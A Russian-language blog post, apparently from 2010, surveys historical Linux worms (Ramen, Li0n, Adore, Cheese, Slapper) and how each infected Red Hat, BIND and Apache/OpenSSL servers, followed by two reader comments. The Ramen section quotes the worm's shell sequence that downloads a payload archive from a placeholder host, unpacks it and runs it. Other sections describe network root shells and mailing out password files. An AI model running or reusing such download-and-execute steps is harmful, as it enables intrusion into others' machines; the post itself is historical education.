«Черви» под Linux: хроника
  • Категории
  • Подписка
  • Разместить статью
23/07/10 33 15280 Социальная инженерия
-

«Черви» под Linux: хроника

На мой взгляд, нужно быть мега крутым админом с 10-летним стажем работы с Unix-подобными системами в крупной фирме, чтоб столкнутся хотя бы с частью того списка вирусов, который нам продемонстрировал vad (к сожалению не знаю как зовут человека) в комментариях к посту «И все же, существуют вирусы для linux?».

Давайте рассмотрим некоторые вирусы, относящиеся к червям, представляющие действительно серьезную угрозу, распространяясь по сети, используя уязвимые места программ электронной почты и других сетевых служб. Такие «червяки» реально могут причинить ущерб Linux-машине.

«Червь» Ramen

«Червь» Ramen, названный в честь блюда из макарон, популярного среди многих программистов, стал первым «червем», поразившим Linux-системы.
Первые сообщения об обнаружении «червя» Ramen появились 17 января 2001 года. Среди наиболее значимых организаций, компьютеры которых были поражены «червем», можно назвать Техасский университет А&М, лабораторию НАСА по исследованию реактивного движения и Supermicro — тайваньскую фирму-производителя аппаратных средств. Ramen был составлен из нескольких ранее известных сценариев атаки, одновременно упрощая и увеличивая их в объеме. В результате получилось чрезвычайно эффективное средство. Целью атаки были серверы под управлением операционных систем Red Hat Linux, хотя нет причин, по которым бы «червь» не мог поражать другие системы, для этого создателю нужно было только потратить еще немного времени. Рассмотрим процесс заражения компьютеров.

  1. Ramen пытается подключиться к порту 21 (FTP) атакуемого хоста. При этом используется программа SYN-сканирования Synscan, и по идентификационным маркерам, выдаваемым FTP-сервером, делается предположение об используемой версии Red Hat. Именно эта проверка, идентифицирующая уязвимую версию, вероятно, послужила причиной, по которой Ramen поражает только системы Red Hat.
  2. Если Ramen определяет, что на компьютере запущена версия Red Hat 6.2, то выполняется атака на демоны wu-ftpd и rpc.statd. Если запущена версия Red Hat 7.0, то будет атакован LPRng-сервер (lpd). В случае успеха одной из атак на взломанном хосте выполняется следующая последовательность команд от имени суперпользователя.                                                                                                                                                                                    
    mkdir /usr/src/.poop;cd /usr/src/.poop
    export TERM=vt100
    lynx -source http://IP_ADDR:27374 > /usr/src/.poop/ramen.tgz
    cp ramen.tgz /tmp
    gzip -d ramen.tgz;tar -xvf ramen.tar; ./start.sh
    echo Eat Your Ramen! I mail emailaddress
  3. Указанный адрес IP_ADDR для команды lynx является IP-адресом атакуемого компьютера. Вместо emailaddress используется адрес электронной почты на почтовом сервере Hotmail.
  4. С помощью изменения настроек для демона inetd (для Red Hat 7.0 — демона xinetd) сценарий start.sh запускает на порту 27374 небольшой НТТР-сервар (НТТР/0.9), через который в дальнейшем (при запросах к порту) будут распространяться копии «червя» (вышеприведенная команда lynx позволяет установить соединение с атакующим сервером через порт 27374 и сохранить всю информацию в файл /usr/src/.poop/ramen. tgz).
  5. В зависимости от версии Red Hat, с инфицированного компьютера удаляются демоны rpc.statd или lpd.
  6. В файл /etc/ftpusers добавляются две записи: anonymous и ftp.
  7. Затем «червь» заменяет все файлы с именем index. html на HTML-код, позволяющий вывести на монитор следующее сообщение: «Hackers looooooooooooooooove noodles».

Чем же все-таки вызван интерес к Ramen?

  • Ramen был не написан, а скорее составлен из разных частей уже существовавшего кода. За исключением HTTP-сервера и механизма запуска, все остальные программы атаки взяты из других источников.
  • Он не пытается передать управление компьютером в руки хакера. Действительно, после замены страниц index. html практически гарантируется, что администраторы узнают о взломе системы.
  • Ramen пытается исправить обнаруженные недостатки системы безопасности. Он отключает анонимный FTP с помощью добавления записей в файл /etc/ftpusers и удаляет уязвимые программы rpc. statdu lpd с любой инфицированной им машины.
  • Удаление уязвимых мест дополнительно позволяет избежать повторных атак на эту же систему.
  • Информация об инфицированных машинах отправлялась на один почтовый адрес Hotmail (хотя этот адрес очень скоро прекратил свое существование).
  • «Червь» распространялся самостоятельно с помощью Web-сервера, создаваемого на атакованном компьютере. Если бы он зависел от центрального Web-сервера в Internet, то провайдер быстро бы отключил этот Web-сервер и тем самым прекратил бы распространение «червя». Ramen не нуждается в выделенном внешнем компьютере.
  • Порт 27374 использовался троянской программой Subseven, предназначенной для атаки Windows-систем и неприменимой против Linux-машин. Использование именно этого порта довольно примечательно. Возможно, что это сделано специально, как еще одна подсказка для выявления «червя» системой обнаружения вторжений, и свидетельствует об относительной доброжелательности создателя Ramen.
  • Для замены Web-страниц index.html изображением странички Ramen был использован стандартный дескриптор HTML. Каждый раз при подключении пользователя к Web-серверу скомпрометированного компьютера это изображение загружалось с сервера производителя макарон Top Ramen — фирмы Nissin Foods. Это означает, что фирма Nissin потенциально может располагать списком взломанных узлов, определенных по заголовкам Referrer: в HTTP-запросах.

Ramen был довольно эффективным «червем», и тревога по поводу его появления была поднята практически незамедлительно. Однако используемые им уязвимые месте были уже известны, и заплаты существовали довольно давно. Единственной причиной, позволившей вирусу распространиться, было отсутствие на серверах установленных заплат для систем Red Hat, которые на момент появления «червя» были выпущены от трех до восьми месяцев назад.

LiOn

Появление Ramen стало толчком для возобновления интереса к ‘»червям» для UNIX-систем. К сожалению, эта заинтересованность прежде всего появилась у недоброжелательных пользователей. Следующим «червем» стал LiOn. Этот «червь» был предназначен для атаки на сервары имен BIND от версии 8.2 до 8.2.3, в которых присутствовала ошибка при обработке TSIG-запросов (Transaction Signatures). После компрометации одного компьютера ‘»червь» c целью своего распространения начинает атаковать случайные компьютеры сети Internet.

На локальном компьютере «червь» LiOn устанавливает набор средств для взлома t0rn, предоставляющий хакеру (который знает пароль) различные возможности компрометации учетной записи root, а также устанавливает троянские версии нескольких локальных программ для выдачи системной информации, например ls и netstat. С помощью суперсервера inetd командные интерпретаторы с правами root становятся доступными по сети через порты 60008 и 33567. Несколько копий командных интерпретаторов с установленным битом SUID root сохраняются в локальной файловой системе. Копии файлов /etc/passwd и /etc/shadow отправляются на удаленный адрес электронной почты.

Adore

После LiOn настала пора «червя» Adore, который использовал уязвимые места, эксплуатируемые двумя более ранними «червями» (Ramen и LiOn), а именно: LPRng, rpc-statd, wu-f tp и BIND. В то время как в LiOn находили различные троянские версии двоичных файлов (из набора torn), «»червь» Adore подменяет только одну утилиту ps. Предпринимается попытка отправить определенный объем системной информации, например, сведения о конфигурации сети, теневые пароли и файл суперпользователя .bash_history по различным адресам электронной почты. Adore добавляет новые учетные записи с правами, эквивалентными правам root, и устанавливает копии командного интерпретатора с SUID root для обеспечения хакеру возможности привилегированного доступа к этой системе. Затем распаковываются сценарии атаки и начинается поиск других компьютеров, доступных для атаки.

LiOn и Adore являются вредоносными «червями». «Червь» Ramen имеет некоторые положительные черты— хотя он и незаконно проникает на чужие компьютеры и изменяет обнаруженные Web-документы, но одновременно он старается закрыть использованные им же бреши в системе защиты.

Cheese

«Червь» Cheese является наиболее «полезным». Он выполняет поиск компьютеров, в которых командные интерпретаторы с правами root доступны через порт 10008. Существуют программы атаки на сервер BIND (ошибка при обработке TSIG-запросов), которые оставляют этот порт открытым для несанкционированного доступа хакера. Cheese выявляет такие компьютеры, устанавливается в их системы и устраняет проблему. При этом в сам пакет BIND не вносятся исправления, а просто редактируется файл /etc/inetd.conf, из него удаляются все строки, содержащие /bin/sh. После этого перезапускается демон inetd.

Несмотря на пользу от действий Cheese, создание «червя» для исправления ошибок на чужих компьютерах является не лучшим методом. «Червь» вызывает увеличение потока сетевого трафика при своих попытках распространения, он не устраняет источник проблемы — ошибку в пакете BIND, и ничему не учит ленивых системных администраторов. Подумайте дважды, прежде чем создавать собственный «благородный червь» :].

Slapper

Существует несколько вариантов и несколько названий «червя» Slapper, например Modap, Cinik и Unlock. Все они практически идентичны и используют уязвимое место в Web-серверах Apache с поддержкой SSL. Ошибка присутствовала в OpenSSL версии 0.9.6d и более ранних, до выхода SSL версии 2. Основным методом обеспечения поддержки на сервере Apache протокола SSL является использование модуля mod_ssl или Apache-SSL (http: //www.apache-ssl. org/) — версии Apache со встроенной поддержкой SSL. В обоих случая должны применяться библиотеки OpenSSL, то есть проблема не в самом сервере Apeche, а в программном обеспечении для поддержки возможностей SSL.

«Червь» Slapper поражает серверы Apache, на которых используются устаревшие SSL-библиотеки, и способен предоставить доступ с правами пользователя Web-сервера (как правило, это httpd, www-data или nobody) и не предоставляет немедленного доступа с привилегиями root. Slapper устанавливает файл пол названием /tmp/.bugtraq.c, компилирует и запускает его. Вместо создания доступной по сети копии командного интерпретатора, он создает сеть типа «точка-точка», состоящую из инфицированных компьютеров. Все компьютеры этой сети поддерживают взаимосвязь друг с другом через UDP-порт 2002. В эту сеть хакер может передавать свои команды, которые будут выполнены на всех инфицированных компьютерах. Некоторые из этих команд способны организовать атаку отказа в обслуживании (ТСР-наводнения или наводнения UDP-пакетами с использованием службы DNS). Это позволяет хакеру получить непосредственный доступ к компьютерам и, возможно, расширить свои привилегии до уровня root.

Хотя и сложно точно определить количество «инфицированных» хостов, но очевидно, что Slapper стал одним иэ наиболее удачных «червей» для Linux-систем. В оценках различных организаций присутствуют значения от 10000 до 40000 хостов. Для Linux-«червя» это много. Но по сравнению с «червем» Code Red, поразившем более 400000 Windows-систем, атаки с помощью «червей» Linux выглядят довольно безобидными :].

Как итог, можно сказать следующее. Описанные в посте «черви» в настоящее время практически неактивны. Для их распространения требуется устаревшее программное обеспечение, в котором бы присутствовали ошибки. Если проводить своевременное обновление программ на своей системе и устанавливать последние заплаты защиты, появление нового «червя» не будет представлять реальной угрозы.


33 комментария на «“«Черви» под Linux: хроника”»

  1. Cttr:

    Пока *nix системы не получили серьезного распространение, можно быть спокойным.

  2. Гость:

    Первый в мире червь был написан как раз под unix, так что это не новость. Вирусов под линукс просто очень мало — их количество измеряется десятками и это в первую очередь из-за хорошей защищенности системы, а уже во вторую очередь — из-за невысокой популярности. И наносят эти вирусы гораздо меньше вреда системе, чем вирусы под виндовс, так что обычным делом вирус под линуху — это нонсенс.

Добавить комментарий

Яндекс.Метрика